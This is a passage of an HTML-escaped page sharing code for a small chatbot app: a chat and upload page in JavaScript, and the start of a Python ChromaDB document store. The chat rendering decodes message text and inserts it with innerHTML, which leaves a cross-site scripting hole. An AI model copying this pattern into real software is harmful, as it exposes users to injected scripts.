id=&quot;file-input&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;button id=&quot;upload-button&quot;&amp;gt;Upload File&amp;lt;/button&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;div class=&quot;footer&quot;&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; © 2025 hello-genai | Powered by &amp;lt;span id=&quot;model-name&quot;&amp;gt;Loading model info...&amp;lt;/span&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/div&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;script&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; document.addEventListener(&#39;DOMContentLoaded&#39;, function() {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const chatBox = document.getElementById(&#39;chat-box&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const messageInput = document.getElementById(&#39;message-input&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const sendButton = document.getElementById(&#39;send-button&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const uploadButton = document.getElementById(&#39;upload-button&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const fileInput = document.getElementById(&#39;file-input&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const modelNameSpan = document.getElementById(&#39;model-name&#39;);&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; // Get model info&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetch(&#39;/api/chat&#39;, {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; method: &#39;POST&#39;,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; body: JSON.stringify({ message: &quot;!modelinfo&quot; }),&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .then(res =&amp;gt; res.json())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .then(data =&amp;gt; {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; modelNameSpan.textContent = data.model || &quot;AI Language Model&quot;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .catch(() =&amp;gt; {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; modelNameSpan.textContent = &quot;AI Language Model&quot;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function addMessageToChat(role, content) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const messageDiv = document.createElement(&#39;div&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; messageDiv.className = role === &#39;user&#39; ? &#39;message user-message&#39; : &#39;message bot-message&#39;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; messageDiv.innerHTML = formatMarkdown(decodeHtml(content));&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.appendChild(messageDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.scrollTop = chatBox.scrollHeight;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function formatMarkdown(text) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return text.replace(/\*\*(.*?)\*\*/g, &#39;&amp;lt;strong&amp;gt;$1&amp;lt;/strong&amp;gt;&#39;).replace(/\n/g, &#39;&amp;lt;br&amp;gt;&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function decodeHtml(html) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const txt = document.createElement(&#39;textarea&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; txt.innerHTML = html;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return txt.value;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function sendMessage() {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const message = messageInput.value.trim();&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (!message) return;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMessageToChat(&#39;user&#39;, message);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; messageInput.value = &#39;&#39;;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const loadingDiv = document.createElement(&#39;div&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; loadingDiv.className = &#39;loading&#39;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; loadingDiv.textContent = &#39;Thinking...&#39;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.appendChild(loadingDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.scrollTop = chatBox.scrollHeight;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetch(&#39;/api/chat&#39;, {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; method: &#39;POST&#39;,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; headers: { &#39;Content-Type&#39;: &#39;application/json&#39; },&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; body: JSON.stringify({ message }),&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .then(res =&amp;gt; res.json())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .then(data =&amp;gt; {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.removeChild(loadingDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMessageToChat(&#39;bot&#39;, data.response || &#39;Sorry, I encountered an error.&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .catch(error =&amp;gt; {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.removeChild(loadingDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMessageToChat(&#39;bot&#39;, &#39;Sorry, I encountered an error. Please try again.&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; console.error(&#39;Error:&#39;, error);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; function uploadFile() {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const file = fileInput.files[0];&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (!file) return alert(&#39;Please select a file.&#39;);&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const formData = new FormData();&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; formData.append(&#39;file&#39;, file);&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; const loadingDiv = document.createElement(&#39;div&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; loadingDiv.className = &#39;loading&#39;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; loadingDiv.textContent = &#39;Uploading...&#39;;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.appendChild(loadingDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.scrollTop = chatBox.scrollHeight;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; fetch(&#39;/api/upload&#39;, {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; method: &#39;POST&#39;,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; body: formData,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .then(res =&amp;gt; res.json())&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .then(data =&amp;gt; {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.removeChild(loadingDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMessageToChat(&#39;bot&#39;, data.message || &#39;File uploaded and processed.&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; })&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; .catch(error =&amp;gt; {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chatBox.removeChild(loadingDiv);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; addMessageToChat(&#39;bot&#39;, &#39;Upload failed. Please try again.&#39;);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; console.error(&#39;Upload error:&#39;, error);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; sendButton.addEventListener(&#39;click&#39;, sendMessage);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; messageInput.addEventListener(&#39;keypress&#39;, function(e) {&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if (e.key === &#39;Enter&#39;) sendMessage();&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; uploadButton.addEventListener(&#39;click&#39;, uploadFile);&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; });&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;lt;/script&amp;gt;&lt;/p&gt;&lt;p&gt;&amp;lt;/body&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;lt;/html&amp;gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;import os&lt;/p&gt;&lt;p&gt;import chromadb&lt;/p&gt;&lt;p&gt;from typing import List, Dict, Any&lt;/p&gt;&lt;p&gt;import hashlib&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;class ChromaVectorDB:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def __init__(self, db_path: str = &quot;./data/chroma_db&quot;):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Initialize ChromaDB for vector storage&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; os.makedirs(db_path, exist_ok=True)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.client = chromadb.PersistentClient(path=db_path)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.collection = self.client.get_or_create_collection(&quot;documents&quot;)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def add_document(self, file_path: str, text_chunks: List[str], metadata: Dict[str, Any] = None):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Add document chunks to the vector database&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Generate unique IDs for each chunk&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ids = [hashlib.md5(f&quot;{file_path}_{i}&quot;.encode()).hexdigest() for i in range(len(text_chunks))]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Create metadata for each chunk&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; metadatas = []&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; for i in range(len(text_chunks)):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunk_metadata = {&quot;source&quot;: file_path, &quot;chunk_id&quot;: i}&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if metadata:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; chunk_metadata.update(metadata)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; metadatas.append(chunk_metadata)&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Add to collection&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.collection.add(&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; documents=text_chunks,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; metadatas=metadatas,&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; ids=ids&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; )&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return ids&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def search(self, query: str, n_results: int = 5):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Search for relevant document chunks&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; results = self.collection.query(&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; query_texts=[query],&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; n_results=n_results&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; )&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; return results&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def delete_document(self, file_path: str):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Deleting all chunks from a specific document&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Getting all IDs related to this document&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; results = self.collection.get(&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; where={&quot;source&quot;: file_path}&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; )&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; if results and results[&#39;ids&#39;]:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; self.collection.delete(ids=results[&#39;ids&#39;])&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; def reset_collection(self):&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &quot;&quot;&quot;Reset the collection by clearing all documents&quot;&quot;&quot;&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; # Getting all document IDs&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; try:&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; all_ids = self.collection.get()[&quot;ids&quot;]&lt;/p&gt;&lt;p&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; 